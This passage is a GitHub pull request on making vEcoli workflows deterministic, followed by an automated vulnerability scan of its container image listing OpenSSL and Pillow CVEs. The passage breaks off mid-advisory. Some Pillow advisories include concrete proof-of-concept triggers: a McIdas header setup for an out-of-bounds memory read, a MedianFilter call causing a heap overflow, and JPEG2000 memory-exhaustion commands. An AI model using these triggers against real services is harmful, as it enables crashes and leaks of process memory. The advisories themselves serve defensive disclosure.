Skip to content

Make Sherlock workflows reproducible - #443

Draft
thalassemia wants to merge 1 commit into
masterfrom
sherlock-repro
Draft

thalassemia wants to merge 1 commit into
masterfrom
sherlock-repro

Conversation

@thalassemia

Copy link
Copy Markdown
Contributor

While we already limit the types of CPUs that vEcoli can use on Sherlock, these CPUs still differ in support for several key features and optimizations (most notably AVX-512). This results in unpredictable floating point variations that make workflows non-deterministic on Sherlock. This PR attempts to fix this by globally disabling these CPU features/optimizations, theoretically making them all behave identically.

This works in my limited testing, but further stress testing is necessary. Additionally, it would be nice to see exactly how much this hurts performance on platforms where all CPUs do support the latest features/optimizations (e.g., Carina, AWS).

@github-actions

Copy link
Copy Markdown
Contributor

🔍 Vulnerabilities of vecoli:latest

📦 Image Reference vecoli:latest
digestsha256:76258e8da295658ae35e598379635772132dc8071baae15fbebf1a5f3da59825
vulnerabilitiescritical: 2 high: 30 medium: 37 low: 0
platformlinux/amd64
size975 MB
packages904
📦 Base Image debian:13-slim
also known as
  • 13.4-slim
  • trixie-20260505-slim
  • trixie-slim
digestsha256:486b1c3d3a6a836d2518d5ac1a7b522050a034ae83b47c063fd45d550b2b9dbf
vulnerabilitiescritical: 2 high: 11 medium: 11 low: 16
critical: 2 high: 8 medium: 4 low: 0 openssl 3.5.6-1~deb13u1 (deb)

pkg:deb/debian/openssl@3.5.6-1~deb13u1?os_distro=trixie&os_name=debian&os_version=13

critical : CVE--2026--75803

Affected range<3.5.7-1~deb13u2
Fixed version3.5.7-1~deb13u2
EPSS Score0.207%
EPSS Percentile11th percentile
Description

Issue summary: ChaCha20-Poly1305 and AES-OCB decryption with an empty ciphertext can report success without verifying the supplied authentication tag when the operation is finalized by calling the EVP_Cipher() function. Impact summary: Applications calling EVP_Cipher() on an empty ciphertext and expecting the call to check the AEAD tag may accept forged messages. CWE: CWE-354 (Improper Validation of Integrity Check Value) Description: The EVP_Cipher() API call for AEAD ciphers behaves like a one shot encryption and decryption call. It also verifies the AEAD tag after the decryption operation. However for AES-OCB and ChaCha20-Poly1305 ciphers it skipped the AEAD tag verification when an empty ciphertext was passed to the function. The callers of this function might believe that a successful return indicates a valid AEAD tag for these ciphers, even when that has not truly been validated in this case. FIPS impact: no The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this CVE as the affected algorithms are not FIPS approved and thus not implemented in the FIPS module.


critical : CVE--2026--34182

Affected range<3.5.6-1~deb13u2
Fixed version3.5.6-1~deb13u2
EPSS Score0.435%
EPSS Percentile37th percentile
Description

Issue Summary: Cryptographic Message Services (CMS) processing fails to perform sufficient input validation on the cipher and tag length fields of AuthEnvelopedData containers, leading to various potential compromises. Impact Summary: Attackers making use of these vulnerabilities may achieve key-equivalent functionality for a given CMS recipient and/or bypass integrity validation for a given message. In one use case, an attacker may send a CMS message containing AuthEnvelopedData with the cipher specified as a non-AEAD cipher. OpenSSL erroneously allows this selection, and attempts to decrypt and validate the message. An on-path attacker who captures one legitimate AES-GCM AuthEnvelopedData addressed to the victim can re-emit it with the recipientInfos set left byte-for-byte intact, so the victim's private key still unwraps the genuine CEK (the content-encryption key), but with the inner OID rewritten to AES-256-OFB (Output Feedback Mode, an unauthenticated keystream mode) and with an attacker-chosen IV and ciphertext. The victim initializes AES-256-OFB under the real CEK, never consults the MAC field, and CMS_decrypt() returns success. If the application under attack responds to the attacker with any indicator showing success or failure of the decryption effort, it is possible for the attacker to use this as an oracle to obtain key equivalent functionality for the CEK used for the chosen recipient of the message. In another use case, an attacker can reduce the tag length of the chosen AEAD cipher for a given AuthEnvelopedData container to be a single byte long, allowing an attacker to brute force CMS decryption, producing an integrity bypass for applications that trust CMS_decrypt() to reject modified content. The FIPS modules are not affected by this issue.


high : CVE--2026--45447

Affected range<3.5.6-1~deb13u2
Fixed version3.5.6-1~deb13u2
EPSS Score3.566%
EPSS Percentile89th percentile
Description

Issue summary: A specially crafted PKCS#7 or S/MIME signed message could trigger a use-after-free during PKCS#7 signature verification. Impact summary: A use-after-free may result in process crashes, heap corruption, or potentially remote code execution. When processing a PKCS#7 or S/MIME signed message, if the SignedData digestAlgorithms field is present as an empty ASN.1 SET, OpenSSL may incorrectly free a caller-owned BIO during PKCS7_verify(). A subsequent use of the BIO by the calling application results in a use-after-free condition. In the common case this occurs when the application later calls BIO_free() on the BIO originally passed to PKCS7_verify(). Depending on allocator behavior and application-specific BIO usage patterns, this may result in a crash or other memory corruption. In some application contexts this may potentially be exploitable for remote code execution. Applications that process PKCS#7 or S/MIME signed messages using OpenSSL PKCS#7 APIs may be affected. Applications using the CMS APIs for this processing are not affected. The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.


high : CVE--2026--7383

Affected range<3.5.6-1~deb13u2
Fixed version3.5.6-1~deb13u2
EPSS Score0.804%
EPSS Percentile54th percentile
Description

Issue summary: A signed integer overflow when sizing the destination buffer for Unicode output in ASN1_mbstring_ncopy() can lead to a heap buffer overflow. Impact summary: A heap buffer overflow may lead to a crash or possibly attacker controlled code execution or other undefined behaviour. In ASN1_mbstring_copy() and ASN1_mbstring_ncopy() the destination size for Unicode output is computed in a signed int: by left shift of the input character count for BMPSTRING (UTF-16) and UNIVERSALSTRING (UTF-32), and by summing per-character byte counts for UTF8STRING. The calculation overflows when the input reaches around 2^30 characters. In the worst case (UNIVERSALSTRING at 2^30 characters) the size wraps to zero, OPENSSL_malloc(1) is called, and the subsequent character copy writes several gigabytes past the one-byte allocation. X.509 certificate processing routes through ASN1_STRING_set_by_NID(), whose DIRSTRING_TYPE mask excludes UNIVERSALSTRING and whose per-NID size limits cap the input length; no network protocol or certificate-handling path in OpenSSL exercises the overflow. Triggering the bug requires an application that calls ASN1_mbstring_copy() or ASN1_mbstring_ncopy() directly, or registers a custom string type via ASN1_STRING_TABLE_add(), with attacker-controlled input on the order of half a gigabyte or more. For these reasons this issue was assigned Low severity. The FIPS modules in 4.0, 3.6, 3.5, 3.4 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.


high : CVE--2026--9076

Affected range<3.5.6-1~deb13u2
Fixed version3.5.6-1~deb13u2
EPSS Score0.707%
EPSS Percentile51st percentile
Description

Issue summary: When CMS password-based decryption (RFC 3211 / PWRI key unwrap) processes attacker-supplied CMS data, an attacker-chosen stream-mode KEK cipher can trigger a heap out-of-bounds read in kek_unwrap_key(). Impact summary: A heap buffer over-read may trigger a crash which leads to Denial of Service for an application if the input buffer ends at a memory page boundary and the following page is unmapped. There is no information disclosure as the over-read bytes are not revealed to the attacker. The key unwrapping function performs a check-byte test as specified in the RFC that reads 7 bytes from a heap allocation that is based on the wrapped key length from the message. There is a minimum length check based on the block length of the wrapping cipher. However the cipher is selected from an OID carried in the attacker's PWRI keyEncryptionAlgorithm with no requirement that the cipher be a block cipher. When an attacker selects a stream-mode cipher the guard will be ineffective and the allocated buffer containing the unwrapped key can be too small to fit the check-bytes specified in the RFC and a buffer over-read can happen. Applications calling CMS_decrypt() or CMS_decrypt_set1_password() (equivalently openssl cms -decrypt -pwri_password ...) on untrusted CMS data are vulnerable to this issue. No password knowledge is required: the over-read happens during the unwrap attempt before any authentication succeeds. The over-read is limited to a few bytes and is not written to output, so there is no information disclosure. Triggering a crash requires the allocation to border unmapped memory, which is unlikely with the normal allocator. The FIPS modules are not affected by this issue.


high : CVE--2026--63076

Affected range<3.5.7-1~deb13u2
Fixed version3.5.7-1~deb13u2
EPSS Score1.330%
EPSS Percentile69th percentile
Description

Issue summary: OpenSSL CMP password based protection verification only checks whether the protectionAlg parameter was not NULL and not its ASN.1 type, before treating it as a PBMParameter. A crafted message can contain a parameter of a different type, which is then dereferenced as an invalid pointer. Impact summary: A remote, unauthenticated attacker can crash an application acting as a CMP server that accepts PBM-protected messages, or a CMP client talking to a malicious or intercepted CMP server, resulting in a Denial of Service. CWE: CWE-476: NULL Pointer Dereference Description: When verifying the password-based MAC protection of a CMP message, OpenSSL library reads the protectionAlg algorithm parameter with X509_ALGOR_get0(), which returns both the parameter type and its value pointer. The value is then cast to an ASN1_STRING and treated as the expected PBMParameter after only checking that pointer is not NULL. The parameter type returned by X509_ALGOR_get0() was never consulted. This happens during protection verification, before any MAC is computed, so no knowledge of the PBM shared secret is required; the only precondition is that PBM verification is reachable. On the server side this is reached from OSSL_CMP_SRV_process_request() for any application that stands up a CMP server accepting PBM-protected messages, and on the client side from CMP response validation against a malicious or on-path (MITM) server. The reliable consequence is a denial of service; there is no memory disclosure, no controlled memory write, and no path to code execution. CMP is a specialized feature that an application must explicitly enable. FIPS impact: no As the CMP code lives outside the FIPS module boundary, no FIPS modules are affected by this CVE.


high : CVE--2026--63072

Affected range<3.5.7-1~deb13u2
Fixed version3.5.7-1~deb13u2
EPSS Score0.612%
EPSS Percentile47th percentile
Description

Issue summary: OpenSSL CMS decryption sizes the key-unwrap output buffer based on querying the unwrapped key size, but the AES-WRAP-PAD unwrap primitive can write and cleanse more bytes than that query reports, causing an 8-byte out-of-bounds heap write. Impact summary: An attacker who supplies a crafted CMS message can trigger a deterministic 8-byte out-of-bounds heap write when the victim decrypts it with CMS_decrypt(), corrupting the heap and typically resulting in a Denial of Service. CWE: CWE-787: Out-of-bounds Write Description: The key-wrap OID is potentially attacker-controlled on the wire. CMS unwrapping allows both id-aesNNN-wrap-pad and id-aesNNN-wrap ciphers. An attacker can take a legitimate message and change a single OID byte to select the padded variant while leaving the message otherwise valid. Since the unwrap key is derived from the recipient's private operation (ECDH key agreement or ML-KEM decapsulation), the RFC 5649 integrity check cannot pass, and the decryption fails with integrity failure. The write is a fixed-size (8-byte), fixed-value (zero) heap overflow immediately past the allocation, requires no special configuration, and is reachable from the public CMS_decrypt() function. The consequence is a heap corruption leading to a Denial of Service. The fix in the CMS code sizes the unwrap output buffer for the worst case so a failed unwrap cannot write past the allocation. FIPS impact: no As the CMS code lives outside the FIPS module boundary, no FIPS modules are affected by this CVE.


high : CVE--2026--54874

Affected range<3.5.7-1~deb13u2
Fixed version3.5.7-1~deb13u2
EPSS Score0.516%
EPSS Percentile42nd percentile
Description

Issue summary: Receiving a DTLS record for a future epoch while a handshake is in progress causes OpenSSL to buffer far more memory than the record itself requires. Impact summary: A peer can use a small amount of network traffic to make an OpenSSL DTLS endpoint retain a disproportionately large amount of memory, which may lead to a Denial of Service. CWE: CWE-405: Asymmetric Resource Consumption (Amplification) Description: While a DTLS handshake is in progress, a peer may legitimately have already moved on to the next epoch (for example, having sent its ChangeCipherSpec and Finished messages) before the local endpoint has processed the same transition, typically because of reordering on the underlying UDP transport. OpenSSL buffers such early records so that they can be processed once the local endpoint catches up. Buffering a record currently retains the entire read buffer it arrived in, which is sized to hold the largest possible DTLS record (around 16 kilobytes), rather than just the bytes that make up the record itself. Up to 100 such records may be buffered per connection. As a result, a peer that sends a stream of small forged records claiming to belong to the next epoch can cause an OpenSSL DTLS endpoint to retain around 1.7 megabytes of memory, despite sending only a small fraction of that amount of data over the network. An attacker therefore gains a memory amplification factor of around 1200, and can multiply the effect across as many associations as it is able to open, making this a remote memory exhaustion Denial of Service risk for DTLS servers. Since the memory retained per connection remains bounded, and any limit an application already places on the number of concurrent associations also bounds the total exposure, this issue has been assessed as Low severity. FIPS impact: no No FIPS modules are affected by this issue as the affected code is outside the OpenSSL FIPS module boundary. OpenSSL 4.0, 3.6, 3.5, 3.4, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue. OpenSSL 4.0 users should upgrade to OpenSSL 4.0.2. OpenSSL 3.6 users should upgrade to OpenSSL 3.6.4. OpenSSL 3.5 users should upgrade to OpenSSL 3.5.8. OpenSSL 3.4 users should upgrade to OpenSSL 3.4.7. OpenSSL 3.0 users should upgrade to OpenSSL 3.0.22. Premium support customers only: OpenSSL 1.1.1 users should upgrade to OpenSSL 1.1.1zi OpenSSL 1.0.2 users should upgrade to OpenSSL 1.0.2zr This issue was reported on 18 May 2026 by Amazon Web Services. The fix has been developed by Matt Caswell. -- cut (non-publishing metadata for internal use) -- Reported by: Amazon Web Services Fixed by: Matt Caswell


high : CVE--2026--45445

Affected range<3.5.6-1~deb13u2
Fixed version3.5.6-1~deb13u2
EPSS Score0.603%
EPSS Percentile47th percentile
Description

Issue summary: When an application drives an AES-OCB context through the public EVP_Cipher() one-shot interface, the application-supplied initialisation vector (IV) is silently discarded. Impact summary: Every message encrypted under the same key uses the same effective nonce regardless of the IV supplied by the caller, resulting in (key, nonce) reuse and loss of confidentiality. If the same code path is used to compute the authentication tag, the tag depends only on the (key, IV) pair and not on the plaintext or ciphertext, allowing universal forgery of arbitrary ciphertext from a single captured message. OpenSSL provides two ways to drive a cipher: the documented streaming interface (EVP_CipherUpdate / EVP_CipherFinal_ex) and a lower-level one-shot, EVP_Cipher(), whose documentation explicitly recommends against use by applications in favour of EVP_CipherUpdate() and EVP_CipherFinal_ex(). The OCB provider's streaming handler flushes the application-supplied IV into the OCB context before processing data; the one-shot handler did not. Every call to EVP_Cipher() on an AES-OCB context therefore ran with the all-zero key-derived offset state left by cipher initialisation, regardless of the caller's IV. If EVP_EncryptFinal_ex() is subsequently used to obtain the authentication tag, the deferred IV setup runs at that point and clears the running checksum that should have been accumulated over the plaintext. The resulting tag is a function of (key, IV) only and verifies against any ciphertext produced under the same (key, IV) pair. The OpenSSL SSL/TLS implementation is not affected: AES-OCB is not a TLS cipher suite, and libssl does not call EVP_Cipher() in any case. Applications that drive AES-OCB through the documented streaming AEAD API (EVP_CipherUpdate / EVP_CipherFinal_ex) are not affected. Only applications that combine the AES-OCB cipher with the EVP_Cipher() one-shot API are vulnerable. The FIPS modules in 4.0, 3.6, 3.5, 3.4 and 3.0 are not affected by this issue, as AES-OCB is outside the OpenSSL FIPS module boundary.


high : CVE--2026--34180

Affected range<3.5.6-1~deb13u2
Fixed version3.5.6-1~deb13u2
EPSS Score1.025%
EPSS Percentile61st percentile
Description

Issue summary: Parsing a crafted DER-encoded ASN.1 structure with a primitive element whose content exceeds 2 gigabytes in length may cause a heap buffer over-read on 64-bit Unix and Unix-like platforms. Impact summary: The heap buffer over-read may crash the application (Denial of Service) or to load into the decoded ASN.1 object contents of memory beyond the end of the input buffer. More typically such ASN.1 elements would instead be truncated. An integer truncation in OpenSSL's ASN.1 decoder causes the content length of an ASN.1 primitive element to be mishandled when it exceeds 2 gigabytes. In the worst case the truncated length is treated as a request to scan the binary content for a terminating zero byte, possibly causing OpenSSL to read either less than or beyond the end of the allocated buffer. Applications that pass attacker-supplied data to d2i_X509(), d2i_PKCS7(), or any other d2i_* decoding function are affected. OpenSSL's own command-line tools are not vulnerable, as data read through the BIO layer is checked before it reaches the affected code. The issue only affects 64-bit Unix and Unix-like platforms; 32-bit platforms and 64-bit Windows are not affected. The FIPS modules in 4.0, 3.6, 3.5, 3.4 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.


medium : CVE--2026--63074

Affected range<3.5.7-1~deb13u2
Fixed version3.5.7-1~deb13u2
EPSS Score0.488%
EPSS Percentile40th percentile
Description

Issue summary: The OpenSSL Certificate Management Protocol (CMP) caches additional certificates (extraCerts) sent in a CMP message, but never expunges them (for instance if they are invalid). If a server reuses an OSSL_CMP_CTX frequently, this cache of extraCerts may grow unboundedly, and a malicious client may flood a CMP server with requests driving this growth. Impact summary: Users utilizing a CMP server that reuses a single OSSL_CMP_CTX for the lifetime of a server process may observe unbounded memory growth in the event a malicious client repeatedly sends requests containing unique extra certificates, which may lead to OOM conditions. CWE: CWE-770: Allocation of Resources Without Limits or Throttling Description: If a remote user sends CMP messages to a server with a list of extraCerts and the message is rejected, the extraCerts from the message remains in the server contexts untrusted certificate stack. This exposes servers with long lived ctx objects to Denial of Service attacks in which an attacker sends messages intending to be rejected with a large list of additional certificates repeatedly, forcing the server to store them indefinitely. The issue was fixed by removing the added extra certs if the message is rejected, using the same method as when the context is configured to not do caching at all. FIPS impact: no As the CMP code lives outside the FIPS module boundary, no FIPS modules are affected by this CVE.


medium : CVE--2026--42767

Affected range<3.5.6-1~deb13u2
Fixed version3.5.6-1~deb13u2
EPSS Score0.557%
EPSS Percentile44th percentile
Description

Issue summary: An attacker-controlled CMP (Certificate Management Protocol) server could trigger a NULL pointer dereference in a CMP client application. Impact summary: A NULL pointer dereference causes a crash of the application and a Denial of Service. An attacker controlling a CMP server (or acting as a man-in-the-middle) could craft a CMP response containing a CRMF (Certificate Request Message Format) CertRepMessage with an EncryptedValue structure where the symmAlg field has an algorithm OID but no parameters field. When the OpenSSL CMP client processes this response, the NULL dereference occurs, causing a crash of the CMP client. Applications that process untrusted CMP/CRMF messages may be affected. The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.


medium : CVE--2026--42766

Affected range<3.5.6-1~deb13u2
Fixed version3.5.6-1~deb13u2
EPSS Score1.060%
EPSS Percentile62nd percentile
Description

Issue summary: A specially crafted password-encrypted CMS message can trigger a NULL pointer dereference during CMS decryption. Impact summary: This NULL pointer dereference leads to an application crash and a Denial of Service. The CMS PasswordRecipientInfo.keyDerivationAlgorithm field is defined as OPTIONAL in the ASN.1 specification and may therefore be absent in specially crafted inputs. During the password-based CMS decryption the OpenSSL CMS implementation dereferences this field without first checking whether it was present. An attacker who supplies such a CMS message to an application performing password-based CMS decryption can trigger an application crash, leading to a Denial of Service. Applications that process password-encrypted CMS messages may be affected. The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.


medium : CVE--2026--45446

Affected range<3.5.6-1~deb13u2
Fixed version3.5.6-1~deb13u2
EPSS Score0.374%
EPSS Percentile31st percentile
Description

Issue summary: The implementations of AES-SIV (RFC 5297) and AES-GCM-SIV (RFC 8452) mishandle the authentication of AAD (Additional Authenticated Data) with an empty ciphertext allowing a forgery of such messages. Impact summary: An attacker can forge empty messages with arbitrary AAD to the victim's application using these ciphers. AES-SIV (RFC 5297) and AES-GCM-SIV (RFC 8452) are nonce-misuse-resistant AEAD modes: they accept a key, nonce, optional AAD (bytes that are authenticated but not encrypted), and plaintext, and produces ciphertext plus a 16-byte tag. On decrypt, EVP_DecryptFinal_ex() is documented to return success only if the tag is verified succesfully. In OpenSSL's provider implementation of these ciphers, the expected tag is computed only when decryption function is invoked with non-empty data. If the caller supplies AAD and then calls EVP_DecryptFinal_ex() without invocation of the ciphertext update, which can happen when the received ciphertext length is zero, the tag is never recalculated and still holds its all-zeros value. When AES-GCM-SIV is used, an attacker who sends arbitrary AAD, empty ciphertext, and all-zeros tag passes authentication under any key they do not know, single-shot. When AES-SIV is used, for mounting the attack it's necessary for the application to reuse the decryption context without resetting the key. AES-SIV is implemented since OpenSSL 3.0. AES-GCM-SIV is implemented since OpenSSL 3.2. No protocols implemented in OpenSSL itself (TLS/CMS/PKCS7/HPKE/QUIC) support either AES-GCM-SIV or AES-SIV. To mount an attack, the applications must implement their own protocol and use the EVP interface. Also they must skip the ciphertext update when a message with an empty ciphertext arrives. The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this issue, as these algorithms are not FIPS approved and the affected code is outside the OpenSSL FIPS module boundary.


critical: 0 high: 10 medium: 3 low: 0 pillow 12.2.0 (pypi)

pkg:pypi/pillow@12.2.0

high 8.7: CVE--2026--59204 Allocation of Resources Without Limits or Throttling

Affected range>=8.2.0
<12.3.0
Fixed version12.3.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.393%
EPSS Percentile33rd percentile
Description

Summary

src/libImaging/Jpeg2KDecode.c:853 accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the tile_bytes calculation at src/libImaging/Jpeg2KDecode.c:868, which can make the decoder grow state->buffer via realloc at src/libImaging/Jpeg2KDecode.c:876 up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.

Details

  • Location: src/libImaging/Jpeg2KDecode.c:853
  • Root cause: total_component_width is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive tile_bytes, so later tiles are treated as if they had the combined component width of all earlier tiles.
  • Dangerous operation: tile_bytes is promoted into tile_info.data_size, then state->buffer is grown with realloc at src/libImaging/Jpeg2KDecode.c:876.
  • Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal Image.open(...).load() decoding.

PoC

The attached helper script and testcase were used:
exercise_j2k_tile_realloc.zip

Generate the testcase:

pythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \
  --size 3664 --tile 1832

Expected geometry from the helper:

  • image size: 3664 x 3664
  • mode: RGBA
  • tile size: 1832 x 1832 (2x2 tiles)
  • image_bytes=53699584
  • uncapped RSS observed:
    • vulnerable build: maxrss_kb=180264
    • fixed comparison build: maxrss_kb=138404

Load it with the current vulnerable build:

python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2

Load it again under a 160 MB address-space cap:

python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160

Impact

Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding.

high 8.3: CVE--2026--54058 Out-of-bounds Read

Affected range<12.3.0
Fixed version12.3.0
CVSS Score8.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.521%
EPSS Percentile42nd percentile
Description

Summary

When Pillow loads an uncompressed image whose tile uses the raw codec and a mode in Image._MAPMODES, and the image was opened from a filename, it memory-maps the file and builds the image's row pointers directly into the mapping via PyImaging_MapBuffer (src/map.c). The per-row spacing (stride) is taken from the tile arguments. map.c validates offset + ysize*stride <= buffer_len but never checks that stride is at least the natural row width xsize * pixelsize.

The McIdas AREA plugin (McIdasImagePlugin.py) derives stride, offset, xsize, and ysize directly from attacker-controlled 32-bit header words with no validation. By supplying a stride far smaller than the row width, an attacker makes each row pointer read xsize*pixelsize bytes that run past the mapped region. Accessing the pixels (e.g. Image.tobytes(),
getpixel, convert, save) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service).

Complete Code Trace

Step 1: McIdasImageFile._open - turns attacker header words into image size, file offset, and row stride with no validation.

# src/PIL/McIdasImagePlugin.py:41-70
s = self.fp.read(256)
if not _accept(s) or len(s) != 256:        # _accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04"
    raise SyntaxError(...)
self.area_descriptor = w = [0, *struct.unpack("!64i", s)]   # w[1..64] = signed BE int32, ALL attacker-controlled

if w[11] == 1:
    mode = rawmode = "L"                    # pixelsize 1, in _MAPMODES
elif w[11] == 2:
    mode = rawmode = "I;16B"                # pixelsize 2, in _MAPMODES
...
self._mode = mode
self._size = w[10], w[9]                    # (xsize, ysize)  <-- attacker
offset = w[34] + w[15]                       # <-- attacker
stride = w[15] + w[10] * w[11] * w[14]       # <-- attacker (set w[14]=0, w[15]=1 => stride=1)
self.tile = [
    ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1))
]

Step 2: ImageFile.load (mmap branch) - selects mmap and delegates to map_buffer.

# src/PIL/ImageFile.py:322-348
if use_mmap:                                 # use_mmap = self.filename and len(self.tile) == 1
    decoder_name, extents, offset, args = self.tile[0]
    if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3
            and args[0] == self.mode and args[0] in Image._MAPMODES):
        if offset < 0:                       # only lower-bound guard on offset
            raise ValueError("Tile offset cannot be negative")
        with open(self.filename) as fp:
            self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)
        if offset + self.size[1] * args[1] > self.map.size():   # == offset + ysize*stride; NO stride>=linesize check
            raise OSError("buffer is not large enough")
        self.im = Image.core.map_buffer(
            self.map, self.size, decoder_name, offset, args      # args = ("L", stride, 1)
        )

Step 3: PyImaging_MapBuffer - builds row pointers at stride spacing into the mmap; validates everything except stride >= row width.

/* src/map.c:65-140 */
if (!PyArg_ParseTuple(args, "O(ii)sn(sii)",
        &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep))
    return NULL;
...
const ModeID mode = findModeID(mode_name);          /* "L" */

if (stride <= 0) {                                  /* attacker sets stride=1 (>0) -> NOT recomputed */
    if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize;
    else if (isModeI16(mode)) stride = xsize * 2;
    else stride = xsize * 4;
}

if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */
    PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return NULL;
}
size = (Py_ssize_t)ysize * stride;                  /* = 1*1 = 1 */

if (offset > PY_SSIZE_T_MAX - size) { ... }
...
if (offset + size > view.len) {                     /* 1 + 1 = 2 <= 256 -> PASSES */
    PyErr_SetString(PyExc_ValueError, "buffer is not large enough");
    PyBuffer_Release(&view); return NULL;
}

im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance));
/* im->linesize = xsize * pixelsize = 200000  (the REAL per-row read width) */

/* setup file pointers -- NO check that stride >= im->linesize */
if (ystep > 0) {
    for (y = 0; y < ysize; y++) {
        im->image[y] = (char *)view.buf + offset + y * stride;   /* row points into mmap, spacing=1 */
    }
} else { ... }

im->linesize (the number of bytes any consumer reads per row) is xsize * pixelsize = 200000, but the row pointers are only stride = 1 byte apart and the buffer is only offset + ysize*stride = 2 bytes "claimed". Nothing reconciles the two.

Step 4: pixel access (Image.tobytes() → raw encoder copy1) - reads linesize bytes from im->image[0], i.e. xsize bytes starting at view.buf + offset, running far past the mmap.

/* the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y];
   for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */

Chain Summary

SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34]  (Image.open on a path)
  ↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14]  -> attacker sets stride=1   [McIdasImagePlugin.py:66]
  ↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1))                                     [McIdasImagePlugin.py:68]
GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len  <- BUG: no stride>=linesize check  [ImageFile.py:343]
  ↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1))                              [ImageFile.py:346]
SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize   [map.c:134]
  ↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0]
IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS)

Proof of Concept

See attached poc.zip

Impact on a Parent Application

Any application that opens image files supplied by users from a path on disk (the common pattern: save upload to a temp file, then Image.open(path)), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed:

  • Information disclosure (High): the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data.
  • Denial of service (High): a larger xsize reliably crashes the worker with SIGBUS.

Suggested fix

Core fix in src/map.c (PyImaging_MapBuffer): reject offset < 0 and stride < im->linesize. Defense-in-depth in McIdasImagePlugin._open: reject offset < 0 or stride < xsize*pixelsize .

high 8.2: CVE--2026--59197 Integer Overflow or Wraparound

Affected range<12.3.0
Fixed version12.3.0
CVSS Score8.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
EPSS Score0.445%
EPSS Percentile37th percentile
Description

Summary

Pillow's public rank-filter API can trigger a native heap out-of-bounds write
when given a very large odd filter size.

Minimal public API trigger:

from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2)
before rank-filter size validation. With size = 4294967295, the
expansion margin is 2147483647 (INT_MAX). ImagingExpand() then computes
the output dimensions with unchecked signed int arithmetic. On tested builds,
this wraps to a tiny output image and the border-expansion loop writes past the
allocation.

This is reachable through documented public classes (RankFilter,
MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom
Python object is needed.

Details

Current src/PIL/ImageFilter.py:

class RankFilter(Filter):
    def filter(self, image):
        if image.mode == "P":
            msg = "cannot filter palette images"
            raise ValueError(msg)
        image = image.expand(self.size // 2, self.size // 2)
        return image.rankfilter(self.size, self.rank)

The expand() call is made before image.rankfilter(...).

Current src/libImaging/Filter.c:ImagingExpand() does not check output-size
overflow:

if (xmargin < 0 && ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

imOut = ImagingNewDirty(
    imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin
);

For a 3x3 image and xmargin = ymargin = INT_MAX, the computed output size
wraps to 1x1 on tested builds. The following loop still uses the huge margin:

for (x = 0; x < xmargin; x++) {
    imOut->image[yout][x] = imIn->image[yin][0];
}

src/libImaging/RankFilter.c does contain checks that would reject this size:

if (!(size & 1)) {
    return (Imaging)ImagingError_ValueError("bad filter size");
}
if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {
    return (Imaging)ImagingError_ValueError("filter size too large");
}

But those checks are reached only after RankFilter.filter() has already
called image.expand(...).

Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB
stores. The repeated value written OOB is copied from the source image border
pixel, so attacker-supplied image bytes can influence it. This is a sequential
